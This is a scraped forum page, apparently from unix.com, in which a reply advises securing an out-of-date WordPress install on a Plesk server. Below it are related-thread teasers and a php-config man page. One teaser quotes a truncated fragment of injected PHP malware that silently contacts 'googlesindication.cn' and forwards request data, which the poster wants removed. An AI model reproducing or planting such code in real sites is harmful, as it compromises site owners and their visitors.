02-24-2017
Hi,
Ah, WordPress. So many times I've seen compromised sites and servers that began with an incorrectly-configured, inadequately-secured or out-of-date WordPress install. Seeing 'php-cgi' by itself isn't necessarily sinister. WordPress is PHP based, and so any page you access will certainly spawn a PHP process somehow.
If your server is running Plesk (and from the 'sw-engine-fpm' process in one of your earlier process lists I'm pretty sure it must be), then this is a fairly standard way for Plesk to deal with PHP requests. Any request for a page that needs PHP to handle it will result in a 'php-cgi' process being spawned by Plesk, if it's configured to handle PHP in its usual way.
But I'd definitely start with that WordPress install, in terms of a suspect. At a bare minimum ensure it's up-to-date, that all its plugins are up-to-date (and that they are all legitimate and not malicious or suspicious plugins), that all your WordPress users and admins are ones you actually expect to exist , that they all have good strong passwords set, and so on and so forth. Pay very close attention to anything that allows file uploads in particular. Having anything that allows uploads of any sort without a username and password being required is a disaster waiting to happen, pretty much.
7 More Discussions You Might Find Interesting
1. Shell Programming and Scripting
Hello,
Please advise a script/command to remove the following line for a file
<?php
error_reporting(0);
$fn = "googlesindication.cn";
$fp = fsockopen($fn, 80, $errno, $errstr, 15);
if (!$fp) {
} else {
$query='site='.$_SERVER;
$out = "GET /links.php?".$query." HTTP/1.1\r\n";
... (5 Replies)
Discussion started by: fed.linuxgossip
5 Replies
2. Shell Programming and Scripting
Hello
I ask you how to make a
Anti-malicious files and viruses
Or if one of you a small example of the work on the same place and I hope my request
I want a small patch or the process of examination Virus
http://www.google.jo/images/cleardot.gif
---------- Post updated... (1 Reply)
Discussion started by: x-zer0
1 Replies
3. Cybersecurity
A series on The H about analyzing potentially malicious code flying around on the net. Pretty well written, and a nice read for those interested in how exploits work:
CSI:Internet - Alarm at the pizza service
CSI:Internet - The image of death
CSI:Internet - PDF timebomb
CSI:Internet -... (0 Replies)
Discussion started by: pludi
0 Replies
4. Shell Programming and Scripting
I am trying to run a perl script which needs input arguments from a parent perl script, but doesn't seem to work. Appreciate your help in this regard.
From parent.pl
$input1=123;
$input2=abc;
I tried calling it with
system("/usr/bin/perl child.pl $input1 $input2");
and
`perl... (1 Reply)
Discussion started by: grajp002
1 Replies
5. Shell Programming and Scripting
Hi All,
I am aware that html tags can be embedded in cgi script as below.. In the same way is it possible to embed the below javascript in perl cgi script ??
print("<form action="action.htm" method="post" onSubmit="return submitForm(this.Submitbutton)">");
print("<input type = "text"... (1 Reply)
Discussion started by: scriptscript
1 Replies
6. Shell Programming and Scripting
Hello,
i found and malicious looking script on my server, here is its code safelly pasted as a text on pastebin:
Posting links to pastebin scripts are forbidden at this site.
Please what does this script do? It has .pl extension and is on shared cpanel hosting account (1 Reply)
Discussion started by: postcd
1 Replies
7. Programming
I have reviewed many examples on-line about running another process (either PERL or shell command or a program), but do not find any usefull for my needs way. (Reviewed and not useful the system(), 'back ticks', exec() and open())
I would like to run another PERL-script from first one, not... (1 Reply)
Discussion started by: alex_5161
1 Replies
LEARN ABOUT DEBIAN
php-config
php-config(1) Scripting Language php-config(1)
NAME
php-config - get information about PHP configuration and compile options
SYNOPSIS
php-config [options]
DESCRIPTION
php-config is a simple shell script for obtaining information about installed PHP configuration.
OPTIONS
--prefix Directory prefix where PHP is installed, e.g. /usr/local
--includes List of -I options with all include files
--ldflags LD Flags which PHP was compiled with
--libs Extra libraries which PHP was compiled with
--man-dir The directory prefix where the manpages is installed
--extension-dir
Directory where extensions are searched by default
--include-dir Directory prefix where header files are installed by default
--php-binary Full path to php CLI or CGI binary
--php-sapis Show all SAPI modules installed on the Debian system
--configure-options
Configure options to recreate configuration of current PHP installation
--version PHP version
--vernum PHP version as integer
SEE ALSO
php(1)
VERSION INFORMATION
This manpage describes php, version 7.0.33-6+ubuntu18.04.1+deb.sury.org+3.
COPYRIGHT
Copyright (C) 1997-2017 The PHP Group
This source file is subject to version 3.01 of the PHP license, that is bundled with this package in the file LICENSE, and is available
through the world-wide-web at the following url:
http://www.php.net/license/3_01.txt
If you did not receive a copy of the PHP license and are unable to obtain it through the world-wide-web, please send a note to
license@php.net so we can mail you a copy immediately.
The PHP Group 2017 php-config(1)